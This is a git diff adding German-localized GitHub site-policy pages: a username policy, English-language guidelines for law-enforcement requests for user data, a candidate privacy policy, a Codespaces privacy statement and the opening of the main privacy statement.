+  - Legal
+ms.openlocfilehash: 55225fc4c60503e4cb9dbce4d41e51a13926d79e
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556630'
+---
+GitHub Kontonamen sind nach dem Prinzip „First come first served“ verfügbar und sind für die sofortige und aktive Nutzung vorgesehen.
+
+## Was ist, wenn der gewünschte Nutzername bereits vergeben ist?
+
+Denken Sie daran, dass nicht alle Aktivitäten auf GitHub öffentlich sichtbar sind; Konten ohne sichtbare Aktivität werden möglicherweise aktiv verwendet.
+
+Wenn der gewünschte Nutzername bereits vergeben ist, ziehen Sie andere Namen oder Namensvariationen in Betracht. Wenn Sie Zahlen, Bindestriche oder alternative Schreibweisen einbauen, können Sie schneller einen noch verfügbaren Nutzernamen finden.
+
+## Markenrichtlinie
+
+Wenn Sie der Auffassung sind, dass das Konto einer anderen Person Ihre Markenrechte verletzt, finden Sie weitere Informationen zum Einreichen einer Markenrechtsbeschwerde in unserer [Markenrichtlinie](/articles/github-trademark-policy/).
+
+## Richtlinie zu Name-Squatting
+
+GitHub verbietet das Squatting von Kontonamen. Außerdem dürfen diese nicht für eine zukünftige Verwendung reserviert oder inaktiv gehalten werden. Konten, die gegen diese Name-Squatting-Richtlinie verstoßen, können ohne Vorankündigung entfernt oder umbenannt werden. Jeder Versuch, einen Kontonamen zu verkaufen, zu kaufen oder andere Formen der Bezahlung dafür anzufordern, ist verboten und kann zu einer dauerhaften Sperrung des Kontos führen.
diff --git a/translations/de-DE/content/site-policy/other-site-policies/guidelines-for-legal-requests-of-user-data.md b/translations/de-DE/content/site-policy/other-site-policies/guidelines-for-legal-requests-of-user-data.md
new file mode 100644
index 0000000000..0acddf9162
--- /dev/null
+++ b/translations/de-DE/content/site-policy/other-site-policies/guidelines-for-legal-requests-of-user-data.md
@@ -0,0 +1,252 @@
+---
+title: Guidelines for Legal Requests of User Data
+redirect_from:
+  - /law-enforcement-guidelines
+  - /articles/guidelines-for-legal-requests-of-user-data
+  - /github/site-policy/guidelines-for-legal-requests-of-user-data
+  - /github/site-policy/github-terms-and-other-site-policies/guidelines-for-legal-requests-of-user-data
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+---
+
+Are you a law enforcement officer conducting an investigation that may involve user content hosted on GitHub?
+Or maybe you're a privacy-conscious person who would like to know what information we share with law enforcement and under what circumstances.
+Either way, you're on the right page.
+
+In these guidelines, we provide a little background about what GitHub is, the types of data we have, and the conditions under which we will disclose private user information.
+Before we get into the details, however, here are a few important details you may want to know:
+
+- We will [**notify affected users**](#we-will-notify-any-affected-account-owners) about any requests for their account information, unless prohibited from doing so by law or court order.
+- We will not disclose **location-tracking data**, such as IP address logs, without a [valid court order or search warrant](#with-a-court-order-or-a-search-warrant).
+- We will not disclose any **private user content**, including the contents of private repositories, without a valid [search warrant](#only-with-a-search-warrant).
+
+## About these guidelines
+
+Our users trust us with their software projects and code—often some of their most valuable business or personal assets.
+Maintaining that trust is essential to us, which means keeping user data safe, secure, and private.
+
+While the overwhelming majority of our users use GitHub's services to create new businesses, build new technologies, and for the general betterment of humankind, we recognize that with millions of users spread all over the world, there are bound to be a few bad apples in the bunch.
+In those cases, we want to help law enforcement serve their legitimate interest in protecting the public.
+
+By providing guidelines for law enforcement personnel, we hope to strike a balance between the often competing interests of user privacy and justice.
+We hope these guidelines will help to set expectations on both sides, as well as to add transparency to GitHub's internal processes.
+Our users should know that we value their private information and that we do what we can to protect it.
+At a minimum, this means only releasing data to third-parties when the appropriate legal requirements have been satisfied.
+By the same token, we also hope to educate law enforcement professionals about GitHub's systems so that they can more efficiently tailor their data requests and target just that information needed to conduct their investigation.
+
+## GitHub terminology
+
+Before asking us to disclose data, it may be useful to understand how our system is implemented.
+GitHub hosts millions of data repositories using the [Git version control system](https://git-scm.com/video/what-is-version-control).
+Repositories on GitHub—which may be public or private—are most commonly used for software development projects, but are also often used to work on content of all kinds.
+
+- [**Users**](/articles/github-glossary#user) —
+Users are represented in our system as personal GitHub accounts.
+Each user has a personal profile, and can own multiple repositories.
+Users can create or be invited to join organizations or to collaborate on another user's repository.
+
+- [**Collaborators**](/articles/github-glossary#collaborator) —
+A collaborator is a user with read and write access to a repository who has been invited to contribute by the repository owner.
+
+- [**Organizations**](/articles/github-glossary#organization) —
+Organizations are a group of two or more users that typically mirror real-world organizations, such as businesses or projects.
+They are administered by users and can contain both repositories and teams of users.
+
+- [**Repositories**](/articles/github-glossary#repository) —
+A repository is one of the most basic GitHub elements.
+They may be easiest to imagine as a project's folder.
+A repository contains all of the project files (including documentation), and stores each file's revision history.
+Repositories can have multiple collaborators and, at its administrators' discretion, may be publicly viewable or not.
+
+- [**Pages**](/articles/what-is-github-pages) —
+GitHub Pages are public webpages freely hosted by GitHub that users can easily publish through code stored in their repositories.
+If a user or organization has a GitHub Page, it can usually be found at a URL such as `https://username.github.io` or they may have the webpage mapped to their own custom domain name.
+
+- [**Gists**](/articles/creating-gists) —
+Gists are snippets of source code or other text that users can use to store ideas or share with friends.
+Like regular GitHub repositories, Gists are created with Git, so they are automatically versioned, forkable and downloadable.
+Gists can either be public or secret (accessible only through a known URL). Public Gists cannot be converted into secret Gists.
+
+## User data on GitHub.com
+
+Here is a non-exhaustive list of the kinds of data we maintain about users and projects on GitHub.
+
+- <a name="public-account-data"></a>
+**Public account data** —
+There is a variety of information publicly available on GitHub about users and their repositories.
+User profiles can be found at a URL such as `https://github.com/username`.
+User profiles display information about when the user created their account as well their public activity on GitHub.com and social interactions.
+Public user profiles can also include additional information that a user may have chosen to share publicly.
+All user public profiles display:
+  - Username
+  - The repositories that the user has starred
+  - The other GitHub users the user follows
+  - The users that follow them
+
+  Optionally, a user may also choose to share the following information publicly:
+  - Their real name
+  - An avatar
+  - An affiliated company
+  - Their location
+  - A public email address
+  - Their personal web page
+  - Organizations to which the user is a member (*depending on either the organizations' or the users' preferences*)
+
+- <a name="private-account-data"></a>
+**Private account data** —
+GitHub also collects and maintains certain private information about users as outlined in our [Privacy Policy](/articles/github-privacy-statement).
+This may include:
+  - Private email addresses
+  - Payment details
+  - Security access logs
+  - Data about interactions with private repositories
+
+  To get a sense of the type of private account information that GitHub collects, you can visit your {% data reusables.user-settings.personal_dashboard %} and browse through the sections in the left-hand menubar.
+
+- <a name="organization-account-data"></a>
+**Organization account data** —
+Information about organizations, their administrative users and repositories is publicly available on GitHub.
+Organization profiles can be found at a URL such as `https://github.com/organization`.
+Public organization profiles can also include additional information that the owners have chosen to share publicly.
+All organization public profiles display:
+  - The organization name
+  - The repositories that the owners have starred
+  - All GitHub users that are owners of the organization
+
+  Optionally, administrative users may also choose to share the following information publicly:
+  - An avatar
+  - An affiliated company
+  - Their location
+  - Direct Members and Teams
+  - Collaborators
+
+- <a name="public-repository-data"></a>
+**Public repository data** —
+GitHub is home to millions of public, open-source software projects.
+You can browse almost any public repository (for example, the [Atom Project](https://github.com/atom/atom)) to get a sense for the information that GitHub collects and maintains about repositories.
+This can include:
+
+  - The code itself
+  - Previous versions of the code
+  - Stable release versions of the project
+  - Information about collaborators, contributors and repository members
+  - Logs of Git operations such as commits, branching, pushing, pulling, forking and cloning
+  - Conversations related to Git operations such as comments on pull requests or commits
+  - Project documentation such as Issues and Wiki pages
+  - Statistics and graphs showing contributions to the project and the network of contributors
+
+- <a name="private-repository-data"></a>
+**Private repository data** —
+GitHub collects and maintains the same type of data for private repositories that can be seen for public repositories, except only specifically invited users may access private repository data.
+
+- <a name="other-data"></a>
+**Other data** —
+Additionally, GitHub collects analytics data such as page visits and information occasionally volunteered by our users (such as communications with our support team, survey information and/or site registrations).
+
+## We will notify any affected account owners
+
+It is our policy to notify users about any pending requests regarding their accounts or repositories, unless we are prohibited by law or court order from doing so. Before disclosing user information, we will make a reasonable effort to notify any affected account owner(s) by sending a message to their verified email address providing them with a copy of the subpoena, court order, or warrant so that they can have an opportunity to challenge the legal process if they wish. In (rare) exigent circumstances, we may delay notification if we determine delay is necessary to prevent death or serious harm or due to an ongoing investigation.
+
+## Disclosure of non-public information
+
+It is our policy to disclose non-public user information in connection with a civil or criminal investigation only with user consent or upon receipt of a valid subpoena, civil investigative demand, court order, search warrant, or other similar valid legal process. In certain exigent circumstances (see below), we also may share limited information but only corresponding to the nature of the circumstances, and would require legal process for anything beyond that.
+GitHub reserves the right to object to any requests for non-public information.
+Where GitHub agrees to produce non-public information in response to a lawful request, we will conduct a reasonable search for the requested information.
+Here are the kinds of information we will agree to produce, depending on the kind of legal process we are served with:
+
+- <a name="with-user-consent"></a>
+**With user consent** —
+GitHub will provide private account information, if requested, directly to the user (or an owner, in the case of an organization account), or to a designated third party with the user's written consent once GitHub is satisfied that the user has verified his or her identity.
+
+- <a name="with-a-subpoena"></a>
+**With a subpoena** —
+If served with a valid subpoena, civil investigative demand, or similar legal process issued in connection with an official criminal or civil investigation, we can provide certain non-public account information, which may include:
+
+  - Name(s) associated with the account
+  - Email address(es) associated with the account
+  - Billing information
+  - Registration date and termination date
+  - IP address, date, and time at the time of account registration
+  - IP address(es) used to access the account at a specified time or event relevant to the investigation
+
+In the case of organization accounts, we can provide the name(s) and email address(es) of the account owner(s) as well as the date and IP address at the time of creation of the organization account. We will not produce information about other members or contributors, if any, to the organization account or any additional information regarding the identified account owner(s) without a follow-up request for those specific users.
+
+Please note that the information available will vary from case to case. Some of the information is optional for users to provide. In other cases, we may not have collected or retained the information.
+
+- <a name="with-a-court-order-or-a-search-warrant"></a>
+**With a court order *or* a search warrant** — We will not disclose account access logs unless compelled to do so by either
+(i) a court order issued under 18 U.S.C. Section 2703(d), upon a showing of specific and articulable facts showing that there are reasonable grounds to believe that the information sought is relevant and material to an ongoing criminal investigation; or
+(ii) a search warrant issued under the procedures described in the Federal Rules of Criminal Procedure or equivalent state warrant procedures, upon a showing of probable cause.
+In addition to the non-public account information listed above, we can provide account access logs in response to a court order or search warrant, which may include:
+
+  - Any logs which would reveal a user's movements over a period of time
+  - Account or private repository settings (for example, which users have certain permissions, etc.)
+  - User- or IP-specific analytic data such as browsing history
+  - Security access logs other than account creation or for a specific time and date
+
+- <a name="only-with-a-search-warrant"></a>
+**Only with a search warrant** —
+We will not disclose the private contents of any account unless compelled to do so under a search warrant issued under the procedures described in the Federal Rules of Criminal Procedure or equivalent state warrant procedures upon a showing of probable cause.
+In addition to the non-public account information and account access logs mentioned above, we will also provide private account contents in response to a search warrant, which may include:
+
+  - Contents of secret Gists
+  - Source code or other content in private repositories
+  - Contribution and collaboration records for private repositories
+  - Communications or documentation (such as Issues or Wikis) in private repositories
+  - Any security keys used for authentication or encryption
+
+- <a name="in-exigent-circumstances"></a>
+**Under exigent circumstances** —
+If we receive a request for information under certain exigent circumstances (where we believe the disclosure is necessary to prevent an emergency involving danger of death or serious physical injury to a person), we may disclose limited information that we determine necessary to enable law enforcement to address the emergency. For any information beyond that, we would require a subpoena, search warrant, or court order, as described above. For example, we will not disclose contents of private repositories without a search warrant. Before disclosing information, we confirm that the request came from a law enforcement agency, an authority sent an official notice summarizing the emergency, and how the information requested will assist in addressing the emergency.
+
+## Cost reimbursement
+
+Under state and federal law, GitHub can seek reimbursement for costs associated with compliance with a valid legal demand, such as a subpoena, court order or search warrant. We only charge to recover some costs, and these reimbursements cover only a portion of the costs we actually incur to comply with legal orders.
+
+While we do not charge in emergency situations or in other exigent circumstances, we seek reimbursement for all other legal requests in accordance with the following schedule, unless otherwise required by law:
+
+- Initial search of up to 25 identifiers: Free
+- Production of subscriber information/data for up to 5 accounts: Free
+- Production of subscriber information/data for more than 5 accounts: $20 per account
+- Secondary searches: $10 per search
+
+## Data preservation
+
+We will take steps to preserve account records for up to 90 days upon formal request from U.S. law enforcement in connection with official criminal investigations, and pending the issuance of a court order or other process.
+
+## Submitting requests
+
+Please serve requests to:
+
+```
+GitHub, Inc.
+c/o Corporation Service Company
+2710 Gateway Oaks Drive, Suite 150N
+Sacramento, CA 95833-3505
+```
+
+Courtesy copies may be emailed to legal-support@github.com
+
+Please make your requests as specific and narrow as possible, including the following information:
+
+- Full information about authority issuing the request for information
+- The name and badge/ID of the responsible agent
+- An official email address and contact phone number
+- The user, organization, repository name(s) of interest
+- The URLs of any pages, gists or files of interest
+- The description of the types of records you need
+
+Please allow at least two weeks for us to be able to look into your request.
+
+## Requests from foreign law enforcement
+
+As a United States company based in California, GitHub is not required to provide data to foreign governments in response to legal process issued by foreign authorities.
+Foreign law enforcement officials wishing to request information from GitHub should contact the United States Department of Justice Criminal Division's Office of International Affairs.
+GitHub will promptly respond to requests that are issued via U.S. court by way of a mutual legal assistance treaty (“MLAT”) or letter rogatory.
+
+## Questions
+
+Do you have other questions, comments or suggestions? Please contact {% data variables.contact.contact_support %}.
diff --git a/translations/de-DE/content/site-policy/other-site-policies/index.md b/translations/de-DE/content/site-policy/other-site-policies/index.md
new file mode 100644
index 0000000000..a2eebb284c
--- /dev/null
+++ b/translations/de-DE/content/site-policy/other-site-policies/index.md
@@ -0,0 +1,22 @@
+---
+title: Andere Website-Richtlinien
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+children:
+  - /github-and-trade-controls
+  - /github-deceased-user-policy
+  - /github-logo-policy
+  - /github-government-takedown-policy
+  - /github-username-policy
+  - /guidelines-for-legal-requests-of-user-data
+ms.openlocfilehash: d4941bb8713cbe38f34b9eadedb4fc1c883d1ebe
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556609'
+---
+
diff --git a/translations/de-DE/content/site-policy/privacy-policies/github-candidate-privacy-policy.md b/translations/de-DE/content/site-policy/privacy-policies/github-candidate-privacy-policy.md
new file mode 100644
index 0000000000..f7c4f176d2
--- /dev/null
+++ b/translations/de-DE/content/site-policy/privacy-policies/github-candidate-privacy-policy.md
@@ -0,0 +1,82 @@
+---
+title: GitHub Datenschutzrichtlinie für Kandidaten
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+redirect_from:
+  - /github/site-policy/github-candidate-privacy-policy
+ms.openlocfilehash: 593cb11bbf5697b2fb1fd7cfe8e32f47d721188d
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556642'
+---
+Wirksamkeitsdatum: 8. März 2021
+
+In dieser GitHub Datenschutzrichtlinie für Kandidaten wird erläutert, welche Informationen wir über Sie während des Bewerbungs- oder Rekrutierungsprozesses für eine Anstellung bei GitHub erheben und zu welchen Zwecken wir diese Informationen erheben und verwenden. 
+
+In dieser Richtlinie gelten folgende Definitionen:
+
+„Kandidat“ umfasst Bewerber und Kandidaten, die Teil des Bewerbungs- oder Rekrutierungsprozesses von GitHub sind; und 
+
+„Personenbezogene Kandidatendaten“ bezieht sich auf alle Informationen, die wir über einen unserer Kandidaten während des Bewerbungs- oder Rekrutierungsprozesses erheben und die diese allein oder zusammen mit anderen Informationen persönlich identifizieren oder anderweitig mit ihnen in angemessener Weise verknüpfen oder verbinden könnten. 
+
+Diese Richtlinie gilt nicht für die Nutzung von GitHub Diensten, die unter unsere [GitHub Datenschutzerklärung](/github/site-policy/github-privacy-statement) fallen.
+
+## Welche Personenbezogenen Kandidatendaten erheben wir?
+
+Die Personenbezogenen Kandidatendaten, die wir erheben, verwenden und pflegen (oder „verarbeiten“), können Folgendes umfassen, sind aber nicht darauf beschränkt:
+
+**Identifikations- und Kontaktinformationen**, einschließlich Ihres Namens, Ihrer E-Mail-Adresse, Telefonnummer, Ihres Standorts, Ihres GitHub Profils und aller anderen Informationen, die Sie bereitstellen (z. B. Empfehlungen und Referenzen).
+
+**Nationale Kennungen**, wie z. B. Ihren Staatsbürgerschaftsstatus, Aufenthalts- und Arbeitserlaubnisstatus.
+
+**Berufs- und Bildungsverlauf**, wie z. B. Ihren Lebenslauf, Ihr Anschreiben, Einzelheiten darüber, wie Sie von der Stelle erfahren haben, auf die Sie sich bewerben, Informationen über frühere Beschäftigungen bei GitHub oder verbundenen Unternehmen von GitHub oder andere Informationen, die Sie uns zur Unterstützung einer Bewerbung und/oder des Bewerbungs- und Rekrutierungsprozesses zur Verfügung stellen. 
+
+**Berufs- oder Beschäftigungsinformationen**, einschließlich Ihres gewünschten Gehalts oder Bedingungen in Bezug auf Leistungen, Umzugsbereitschaft, andere Jobpräferenzen, Interviewdetails, Referenzinformationen und/oder Informationen aus Hintergrundprüfungen (falls zutreffend) und Informationen aus öffentlich zugänglichen Ressourcen (wie Ihrem LinkedIn-Profil oder einer Website).
+
+**Sensible oder demografische Informationen**, wie z. B. Ihr Geschlecht, medizinische oder Gesundheitsinformationen, Veteranenstatus oder Ihre ethnische Herkunft. 
+ 
+## Wie verwenden wir die von uns erhobenen Personenbezogenen Kandidatendaten?
+
+Wir verwenden die Personenbezogenen Kandidatendaten für die folgenden Zwecke:
+ - Um Ihre Fähigkeiten, Qualifikationen und Interessen für Beschäftigungsmöglichkeiten bei GitHub zu bewerten;
+ - Um die von Ihnen oder anderen bereitgestellten Informationen zu überprüfen, einschließlich der Überprüfung Ihrer Referenzen;
+ - Um mit Ihnen über Ihre Bewerbung und den Rekrutierungsprozess zu kommunizieren, einschließlich der Information über andere potenzielle Beschäftigungsmöglichkeiten bei GitHub;
+ - Wenn Sie empfohlen wurden, um den Empfehlungsgeber über den Status Ihrer Bewerbung zu informieren; 
+ - Wenn Ihnen eine Stelle angeboten wird, um Ihr Angebotsschreiben vorzubereiten und eine Hintergrundprüfung durchzuführen (soweit dies nach geltendem Recht zulässig ist);
+ - Wenn Ihnen eine Stelle angeboten wird und wenn Sie dies wünschen, um Sie bei der Beschaffung eines Einwanderungsvisums oder einer Arbeitserlaubnis zu unterstützen;
+ - Um örtlich geltende Gesetze, Vorschriften, Gerichtsverfahren oder durchsetzbare behördliche Anfragen zu erfüllen; und
+ - Um Berichte gemäß den örtlichen Gesetzen und Vorschriften zu erstellen und einzureichen;
+ - Um unseren Bewerbungs- und Rekrutierungsprozess zu verwalten und zu verbessern (z. B. um den Bewerbungsprozess effizienter zu gestalten und unsere Diversitätsverfahren zu verbessern).
+ 
+## Wie geben wir Ihre Personenbezogenen Kandidatendaten weiter?
+ 
+GitHub wird Ihre Personenbezogenen Kandidatendaten an diejenigen weitergeben, die einen legitimen geschäftlichen Bedarf dafür haben. Wenn wir einem Dritten den Zugriff auf Ihre Personenbezogenen Kandidatendaten gestatten, stellen wir sicher, dass die Daten in Übereinstimmung mit dieser Richtlinie verwendet werden. Ihre Personenbezogenen Kandidatendaten können zu folgenden Zwecken an unsere verbundenen Unternehmen (z. B. Microsoft) und andere Dritte (z. B. Anbieter) weitergegeben werden:
+1. Für die oben beschriebenen Verwendungszwecke der Personenbezogenen Kandidatendaten;
+2. Um es Dritten zu ermöglichen, Produkte oder Dienstleistungen für uns oder in unserem Namen bereitzustellen (z. B. um den Bewerbungsprozess zu erleichtern oder Hintergrundprüfungen durchzuführen); 
+3. Um unseren gesetzlichen Verpflichtungen, Vorschriften oder Verträgen nachzukommen oder um auf eine gerichtliche Anordnung, ein Verwaltungs- oder Gerichtsverfahren (wie eine Vorladung, eine staatliche Prüfung oder einen Durchsuchungsbefehl) zu reagieren oder als Reaktion auf rechtmäßige Anfragen von Behörden (etwa in Bezug auf die nationale Sicherheit oder Strafverfolgung);
+4. Soweit erforderlich, um potenzielle oder anhängige Rechtsstreitigkeiten zu begründen, durchzuführen oder sich gegen sie zu verteidigen;
+5. Soweit erforderlich, um GitHub, Ihre lebenswichtigen Interessen (wie Sicherheit) oder die einer anderen Person zu schützen; oder
+6. Mit Ihrer Zustimmung (um Ihre Referenzgeber zu kontaktieren). Es liegt in Ihrer Verantwortung, die Zustimmung von Referenzgebern einzuholen, bevor Sie ihre personenbezogenen Daten an GitHub weitergeben.
+
+## Ihre Rechte an Ihren Personenbezogenen Kandidatendaten
+
+An einigen Standorten haben Kandidaten möglicherweise gemäß den örtlich geltenden Datenschutzgesetzen (wie der europäischen Datenschutz-Grundverordnung) bestimmte Rechte. Unabhängig von Ihrem Standort bieten wir jedoch allen unseren Kandidaten auf der ganzen Welt denselben hohen Datenschutzstandard. 
+
+Dies umfasst das Recht, Auskunft zu Ihren Informationen anzufordern oder Ihre Informationen zu korrigieren, die Löschung Ihrer Informationen zu verlangen oder bei GitHub Widerspruch gegen die Verwendung der Daten für bestimmte Zwecke einzulegen oder die Verwendung für bestimmte Zwecke einzuschränken.
+
+Sie können eine entsprechende Anfrage stellen, indem Sie sich an privacy@github.com wenden. Wir werden alle Anfragen in Übereinstimmung mit den geltenden Datenschutzgesetzen beantworten. 
+ 
+## Wie lange bewahren wir Ihre Personenbezogenen Kandidatendaten auf?
+
+Personenbezogene Kandidatendaten werden nach Ihrer Bewerbung ein Jahr lang gespeichert, um unseren gesetzlichen Verpflichtungen nachzukommen. Danach werden wir Sie kontaktieren und Sie um Ihre Zustimmung bitten, Ihre personenbezogenen Daten weiterhin zu speichern, damit wir Sie für zukünftige Stellenangebote bei GitHub berücksichtigen können.
+
+Wenn Sie für eine Stelle bei GitHub eingestellt werden, speichern wir die während des Bewerbungs- und Rekrutierungsprozesses bereitgestellten Informationen als Teil Ihrer Mitarbeiterakte.
+
+## Änderungen an dieser Richtlinie
+
+Wir können diese GitHub Datenschutzrichtlinie für Kandidaten gelegentlich aktualisieren. Wenn wir Änderungen an dieser Seite vornehmen, aktualisieren wir das Datum der „letzten Aktualisierung“. 
diff --git a/translations/de-DE/content/site-policy/privacy-policies/github-codespaces-privacy-statement.md b/translations/de-DE/content/site-policy/privacy-policies/github-codespaces-privacy-statement.md
new file mode 100644
index 0000000000..97e9f6c6bf
--- /dev/null
+++ b/translations/de-DE/content/site-policy/privacy-policies/github-codespaces-privacy-statement.md
@@ -0,0 +1,28 @@
+---
+title: Datenschutzerklärung für GitHub Codespaces
+redirect_from:
+  - /github/site-policy/github-codespaces-privacy-policy
+  - /github/site-policy/github-codespaces-privacy-statement
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 3ab99523ba017584b85e28b86059d51ba8f0e5ad
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '147099228'
+---
+Wirksamkeitsdatum: 10. August 2021
+
+Die Nutzung von GitHub Codespaces unterliegt der [GitHub Datenschutzerklärung](/github/site-policy/github-privacy-statement).
+
+Aktivitäten auf github.dev unterliegen den [GitHub Bedingungen für Beta-Vorschauen](/github/site-policy/github-terms-of-service#j-beta-previews).
+
+## Verwenden von {% data variables.product.prodname_vscode %}
+
+GitHub Codespaces und github.dev ermöglichen die Verwendung von {% data variables.product.prodname_vscode %} im Webbrowser. Bei Verwendung von {% data variables.product.prodname_vscode_shortname %} im Webbrowser werden standardmäßig gewisse Telemetriedaten erfasst. Ausführliche Informationen hierzu finden Sie auf der [Website zu {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/docs/getstarted/telemetry). Nutzer können sich von Telemetrie abmelden, indem sie im Menü oben links zu „File > Preferences > Settings“ (Datei > Einstellungen > Einstellungen) navigieren.
+
+Wenn sich ein Nutzer dafür entscheidet, die Telemetrieerfassung in {% data variables.product.prodname_vscode_shortname %} abzulehnen, während er sich wie beschrieben in einem Codespace befindet, wird die Einstellung zum Deaktivieren von Telemetrie für alle zukünftigen Websitzungen in GitHub Codespaces und github.dev hinweg synchronisiert.
diff --git a/translations/de-DE/content/site-policy/privacy-policies/github-privacy-statement.md b/translations/de-DE/content/site-policy/privacy-policies/github-privacy-statement.md
new file mode 100644
index 0000000000..f84735af2c
--- /dev/null
+++ b/translations/de-DE/content/site-policy/privacy-policies/github-privacy-statement.md
@@ -0,0 +1,394 @@
+---
+title: GitHub Datenschutzerklärung
+redirect_from:
+  - /privacy
+  - /privacy-policy
+  - /privacy-statement
+  - /github-privacy-policy
+  - /articles/github-privacy-policy
+  - /articles/github-privacy-statement
+  - /github/site-policy/github-privacy-statement
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: d8115f14884bf80b64a1f563b1c08ce37691a607
+ms.sourcegitcommit: d298d354a4585e6c154f2a8428aebb214d49e2a1
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/07/2022
+ms.locfileid: '147858660'
+---
+Datum des Inkrafttretens: 1. September 2022
+
+Vielen Dank, dass Sie GitHub Inc. oder GitHub B.V. („GitHub“, „wir“, „uns“ oder „unser“/„unsere“/„unseres“) Ihren Quellcode, Ihre Projekte und Ihre personenbezogenen Daten anvertrauen. In dieser Datenschutzerklärung werden unsere Praktiken hinsichtlich der Erfassung, Nutzung und Offenlegung Ihrer Daten erläutert. Dies schließt alle personenbezogenen Daten mit ein, die wir ggf. in Verbindung mit unserer Website sowie mit von GitHub bereitgestellten Anwendungen, Softwarelösungen, Produkten und Diensten (einschließlich Beta-Vorschauversionen; zusammen als „Dienst“ bezeichnet), erfassen und verarbeiten. 
+
+
+Alle festen Begriffe sind in den [Nutzungsbedingungen von GitHub](/github/site-policy/github-terms-of-service) definiert, sofern hier nicht anders angegeben.
+
+
+## Kurzfassung
+
+Wir verwenden Ihre personenbezogenen Daten wie in dieser Datenschutzerklärung beschrieben. Unabhängig davon, wo Sie sich befinden, wo Sie leben oder welche Staatsangehörigkeit Sie haben, bieten wir allen Benutzern von GitHub-Produkte auf der ganzen Welt den gleichen hohen Datenschutzstandard, unabhängig von ihrem Herkunftsland oder Standort.
+
+Unseren Datenschutzhinweis für Einwohner Kaliforniens finden Sie unter [Hinweis von GitHub zum California Consumer Privacy Act](#githubs-notice-to-california-residents) oder weiter unten.
+
+
+## Zusammenfassung
+
+| Abschnitt | Was können Sie dort finden? |
+|---|---|
+| [Wer für die Verarbeitung Ihrer Informationen zuständig ist](#who-is-responsible-for-the-processing-of-your-information) | Mit wenigen Ausnahmen ist GitHub der Verantwortliche und die Entität, die für die Verarbeitung Ihrer personenbezogenen Daten in Verbindung mit der Website oder dem Dienst zuständig ist, wenn Sie sich in Nordamerika befinden. Für Personen außerhalb Nordamerikas ist GitHub B.V. der Datencontroller. |
+| [Welche Informationen GitHub erhebt](#what-information-github-collects) | GitHub erhebt direkt von Ihnen Informationen für Ihre Registrierung, Zahlung, Transaktionen und Ihr Nutzerprofil. Wir erheben auch automatisch Ihre Nutzungsinformationen, Cookies und Geräteinformationen, gegebenenfalls vorbehaltlich Ihrer Einwilligung. GitHub kann auch personenbezogene Daten von Dritten erfassen. Wir erfassen nur die mindestens erforderliche Menge an personenbezogenen Daten von Ihnen, es sei denn, Sie entscheiden sich, mehr anzugeben.|
+| [Wie GitHub Ihre Informationen verwendet](#how-github-uses-your-information) | In diesem Abschnitt beschreiben wir die Art und Weise, wie wir Ihre Informationen verwenden, einschließlich zur Bereitstellung des Diensts, zur Kommunikation mit Ihnen, zu Sicherheits- und Compliancezwecken und zur Verbesserung unserer Website oder unseres Diensts oder zur Entwicklung neuer Features und Funktionen für unsere Website oder unseren Dienst. Wir beschreiben auch die Rechtsgrundlage, auf der wir Ihre Daten verarbeiten, sofern dies gesetzlich vorgeschrieben ist. |
+| [Wie wir die von uns erhobenen Informationen weitergeben](#how-we-share-the-information-we-collect) | Unter folgenden Umständen können wir Ihre Daten an Dritte weitergeben: Mit Ihrer Einwilligung, mit unseren Dienstleistern, aus Sicherheitsgründen, um unseren gesetzlichen Verpflichtungen nachzukommen, oder wenn es zu einem Verantwortlichkeitswechsel oder Verkauf von Unternehmenseinheiten oder Geschäftseinheiten kommt. Wir verkaufen Ihre personenbezogenen Daten nicht und hosten keine Werbung auf GitHub. |
+| [Ihre Optionen hinsichtlich der Verarbeitung Ihrer personenbezogenen Daten](#your-choices-regarding-our-processing-of-your-personal-data) | Wir bieten Ihnen Möglichkeiten, auf Ihre personenbezogenen Daten zuzugreifen, diese zu ändern oder zu löschen. |
+| [Cookies](#cookies) | Mit Ausnahme von Cookies auf unseren Seiten für Unternehmensmarketing verwenden wir nur unbedingt erforderliche Cookies, um unsere Website oder unseren Dienst bereitzustellen, zu schützen und zu verbessern oder um neue Features und Funktionen für unsere Website oder unseren Dienst zu entwickeln.<br><br>Wie im Folgenden beschrieben nutzen wir ggf. nicht erforderliche Cookies auf bestimmten Seiten unserer Website, die dem Unternehmensmarketing dienen und dazu beitragen sollen, unsere Produkte und Dienste bei Unternehmenskunden beispielsweise auf resources.github.com zu bewerben (zusammengefasst als „Seiten für Unternehmensmarketing“ bezeichnet).<br><br>Wir haben eine [Seite](https://github.com/privacy/cookies) erstellt, die die Verwendung von Cookies transparent macht. |
+| [Wie GitHub Ihre Informationen schützt](#how-github-secures-your-information) | Wir ergreifen alle in angemessenem Rahmen erforderlichen Maßnahmen, um die Vertraulichkeit, Integrität und Verfügbarkeit Ihrer personenbezogenen Daten auf GitHub zu wahren und die Ausfallsicherheit unserer Server zu gewährleisten. |
+| [Kommunikationspräferenzen](#communication-preferences) | Wir kommunizieren mit Ihnen per E-Mail. Sie können die Art und Weise, wie wir Sie kontaktieren, in Ihren Kontoeinstellungen oder durch Kontaktaufnahme mit uns steuern. |
+| [Umgang mit Beschwerden](#resolving-complaints) | Für den unwahrscheinlichen Fall, dass wir ein Datenschutzproblem nicht schnell und gründlich lösen können, bieten wir einen Weg zur Streitbeilegung. |
